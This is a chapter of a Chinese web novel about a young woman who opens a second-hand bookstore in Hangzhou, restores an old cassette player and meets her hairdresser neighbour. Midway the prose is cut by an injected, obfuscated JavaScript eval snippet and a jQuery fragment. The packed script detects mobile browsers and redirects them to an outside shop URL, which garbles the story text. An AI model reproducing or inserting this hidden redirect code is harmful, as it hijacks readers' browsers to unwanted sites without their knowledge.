沈知蕴请她在沙发上坐一会儿，开始摆弄那台磁带机。
这台磁带机也很有年头了，从自己有记忆开始，它就从未作为一台磁带机被使用过，在家主要起到一个摆设装饰的作用。
知蕴回到杭州后收拾屋子，长期没人住的房子需要一次彻底的大扫除，从柜子里犄角旮旯的地方整理出这台机器，银色的表面积了一层灰，两边两个大大的黑色圆形扩音器瞪着无辜的眼睛茫然地看着她，好像在说：哦，过了这么多年，真没想到还能见到柜子外面的世界，这个世界还需要我吗？
知蕴想，也许爸妈年轻的时候经常用它听磁带吧。她很难想象爸妈听什么歌星，比较大的可能是用来学英语的。
机器看起来也不太好用了，本来应该断舍离掉。她也没有要听的磁带，到她开始听流行音乐的年纪，CD和磁带都已经差不多被市场淘汰，收藏价值远大于使用价值。
开店之前，她去各个软件和线下二手市场上筛选供货商，最后和一个叫瓜叔的旧书商达成了合作关系，准备去他那里备货。
做旧书生意，是不能挑挑拣拣的，如果想要某几本书，只能将那一批书都买走。别的书商捆上的书，知蕴都有点为难，但是在瓜叔的仓库里，透过那些看似天南海北杂乱无章堆放着的旧书，她自己的阅读习惯居然在隐隐作痛。
没错，作为饮山绿的主理人，她选品的标准只有一个，那就是，自己觉得有趣的书。
瓜叔是个留着长发的文艺中年。知蕴最初见到他的时候，他穿着一件夏威夷花衬衫，胸前挂着一副墨镜，有种在度假的松弛感。他混迹杭州的二手书市场多年，跟各个图书馆关系很好，有办法以极低的价格拿到他们替换下来的书。
她跟瓜叔谈好了价格，进了饮山绿第一批旧书。
瓜叔问她，哎，你的书店就卖旧书啊？是不是有点太单调了？
知蕴懵懂地看着他，当时她只想给父母留下的文艺垃圾找一个永远存放的地方，她不可能卖掉那些东西。换言之，她想要一个可供它们展览的地方。为了这个，她才采购其他的旧书组成饮山绿，根本没想这么多。
“现在的独立书店嘛，老板的格调品味其实也是商品之一。”他抬抬下巴，手里夹着一根烟，“越是有个性，文艺青年越喜欢，也就越容易买单。”
“我还有几箱旧磁带和旧碟，你要不要？保真，不真你上网挂我，这生意我不做了。如果有问题的话，找我退换。”他打个响指，示意她看角落里的箱子，“看你一个小姑娘，进这么多货，你捡你自己喜欢的，不用整个端箱端走。”
知蕴本来想拒绝，但是一下又想到家里那台老古董磁带机，不忍心让它再吃灰，就这样迷迷糊糊地选了一小皮箱的旧CD和磁带。其实她根本不知道哪些收藏价值高，就按照品相和歌手的知名程度选了选，反正选梅艳芳、张国荣、周杰伦、蔡依林、孙燕姿、陶喆、宇田多光，足够经典，总会有人买单的。
更何况，自己本来也对卖出这些东西没抱太大期望。重要的是不能让磁带机赋闲。听说她说也许坏了，瓜叔说可以帮她修修看，他手里类似的东西很多。
“你这台机器，是很经典的夏普GF-6060啊，收录机。能放磁带，也能录磁带，还能听电台，功能很多的。上个世纪是高级货。”瓜叔摆弄一番，从底座上看到了生产日期，“哟，不得了，还真是改革开放年代那一批日本原产的货。那时候普通家庭根本没条件买这个哇，小姑娘，你们家蛮有实力的。”
知蕴勉强笑笑。瓜叔的话倒是提醒了她，这台机器也许不是爸妈买的，可能是爷爷买的。
“看上去没什么问题，是你不会用吧？”瓜叔拿来一盒磁带，教她怎么放、怎么录，怎么调频听电台，知蕴一点点记下来。
“这台机器成色蛮好的，功能也完整。现在挺多人怀旧。要是保养一下，二手市场能挂两千以上呢。”他啧了一声，“你看你也不会用，要不价格低点出给我？”
知蕴唯恐他抢了去，赶紧说，我现在学会了，还给我，我要拿回去开书店的。
瓜叔哈哈大笑，说自己不过开了个玩笑。
“祝你开业大吉，两年之内抗住不倒闭。”他说，“能撑住这个时间不倒闭，已经超过90%的书店了。”
知蕴谢过他的祝福，其实她那时根本没想过应该赚多少和会不会倒闭的事情，她只是必须得找点事情做了。从一开始，她好像一直在为一碟醋包一盘饺子。磁带机是这样，整个饮山绿书店也是这样。
她终于按照瓜叔教她的调试好了机器，接过那位女士递来的磁带，是孙燕姿的《完美的一天》，发行时间是2005年。
她摁下播放键，二十年前天后的清澈空灵的声音混着磁带机独特的沙响传过来：“我要一所大房子/有很大的落地窗户/阳光洒在地板上/也温暖了我的被子……”
音质没有多好，甚至对比现在的技术可以说是全损音质。但就是得有这种沙响，一下让人回到那个面目模糊但生机勃勃的千禧年代。
女人凑过来，她坐在沙发上，托着脑袋静静听着，感叹了一声：“真神奇，没想到真能放出来唉。”
“我们晚上不睡觉/白天在床上思考/小狗在屋里奔跑/度过完美的一天……”
“我挺喜欢孙燕姿，她的声音很好听，我年轻的时候她很火。”女人道，“那个时候，我也买过磁带专辑什么的。但是这么多年搬家变动，要么送人了，要么不见了。”
“我看你年纪很小，怎么有这些东西？”女人问。
知蕴说：“如您所见，我就是做这个生意的。”
女人笑笑，说：“她红火的歌可多，但是我最喜欢这首歌。难受的时候，听了会觉得重新有动力重新出发。”
“告别暗淡生活……”
听到这里，知蕴也点头。她的年纪自然是没怎么听过孙燕姿的，但是这首歌轻快灵动，歌词听起来像一个女生在做白日梦，不知不觉能让人心情变好。
告别黯淡生活。
她的眉睫微微抖动，陷入沉思，心情有点复杂。
女人接着和她搭话：“哦，我还没跟你打过招呼吧？”
“什么？”女人的话将知蕴从沉思中拉出来。
“我说，我还没跟你打过招呼呀。”女人捋了捋自己精致的长发，“隔壁那家理发店，是我开的。这个你这个铺之前一直空着没人租，空了至少一两年了。我之前看这里装修，还在猜会开什么店呢，原来开了家书店。”
“哦，哦，你好你好。”知蕴如梦初醒，连忙和女人问好握手。隔壁是有一家“玲子发屋”，转着三色灯条，这是新村住户的刚需，每天客人来来往往，比饮山绿热闹多了。
只是开业这么久，她也没有去拜访过，只顾自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788834|210287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
躲进小楼成一统。她知道有些地方做生意规矩多，新人进一个地盘是要拜码头的，不然容易被找麻烦。就算不是这样，开业的时候也应该给左右邻居送点开业礼，这样显得更懂事一点。
只不过她搞忘了。她是新村长大的，不是外来的新人，虽然很久没有回来，但一回来就有种可以睡到地老天荒的放松感，所以没想那么多。
知蕴忙不迭解释：“不好意思啊，上个月事情多，一直没有来拜访。”
“哎呀，什么拜访不拜访的，就是个小店。你说好正式。”女人显得热络了很多，“你好啊，我叫凌玲，你看我的发屋叫玲子发屋嘛。你叫我玲子阿姐就行。”
“我叫沈知蕴，您叫我小沈就行。”沈知蕴连忙去倒热水，请凌玲喝。
“我之前还奇怪呢，你们开业也没有什么仪式，悄没声儿就开了。”凌玲道，“我那理发屋，前几年开业的时候还订了几个花篮呢。”
沈知蕴点点头，称上个月事情比较多，一直在供货、装修、物业、房东之间到处转。
“总之就是卖书么，加再多形式也还是卖书。贩卖知识。卖给想要知识的人。”她说。
凌玲在店里转了转，说，真好真好，很有风格的装修。
“我看你是不是每天中午才开店啊。”凌玲问，“我上班的时候你这儿还黑着呢。”
“早上起不来。”她点点头，“不过我这店半自助的，钥匙就在门口招牌下门挂着，客人可以自己进来。不过今天招牌拿去翻新了，掉了点漆。”
“啊？胆子真大，你不怕丢东西？现在小偷倒少，但是没素质的人可多。前阵子我店里弹力素还让人顺走几瓶，现在我都放起来了。”凌玲大为震惊，估计不太理解这样开店的方式。
知蕴环顾一圈，摊摊手：“如您所见，我这里也没有什么值钱的东西。都是旧书，如果真有偷书贼，囊中羞涩，但想学知识，这是件功德，我也就算了。”
“你肯定是个……那个词儿怎么讲来着？”凌玲笑了，想一想，“文艺青年。讲话自己有一种调调。”
沈知蕴摩挲了一下玻璃杯，只是笑笑，没有反驳，也没有赞同。
放在以前自己肯定痛痛快快承认了，当文青，学文学，研究文学地理，这辈子就做做跟文学有关的工作。
之前她还觉得现在的工作跟专业关系不大呢，现在看起来仍然关系匪浅，谁进门都能知道她是个文艺青年。
“不过，我看你脸色挺苍白的。”凌玲叹了口气，“我知道现在年轻人都喜欢昼夜颠倒。早十几年我也能这样，现在不行了。还是正常作息为妙，你别嫌我这话烦，但确实是等三十岁以后，你们就知道轻重了。”
“你这么好看一个小姑娘，自己在外多保重，这样家里父母才不会担心呀。”她望向知蕴。
凌玲大概以为她是个背井离乡来杭州开书店的小年轻吧。
知蕴靠在沙发上，含混地“嗯”了一声，心里却有一万种情绪交织。那些情绪并不剧烈，像小猫爪子在心里挠，越挠越觉得刺痒。
她面上笑道：“我知道了，玲子阿姐。我下次去你那理发。”
凌玲仍然笑得很灿烂，道：“那敢情好！我下次再来你这听磁带，这都是我上学的时候喜欢的，一转眼这么多年过去了。”
沈知蕴目送凌玲离开，心里想，要是真要理发，她一定跑得远远的。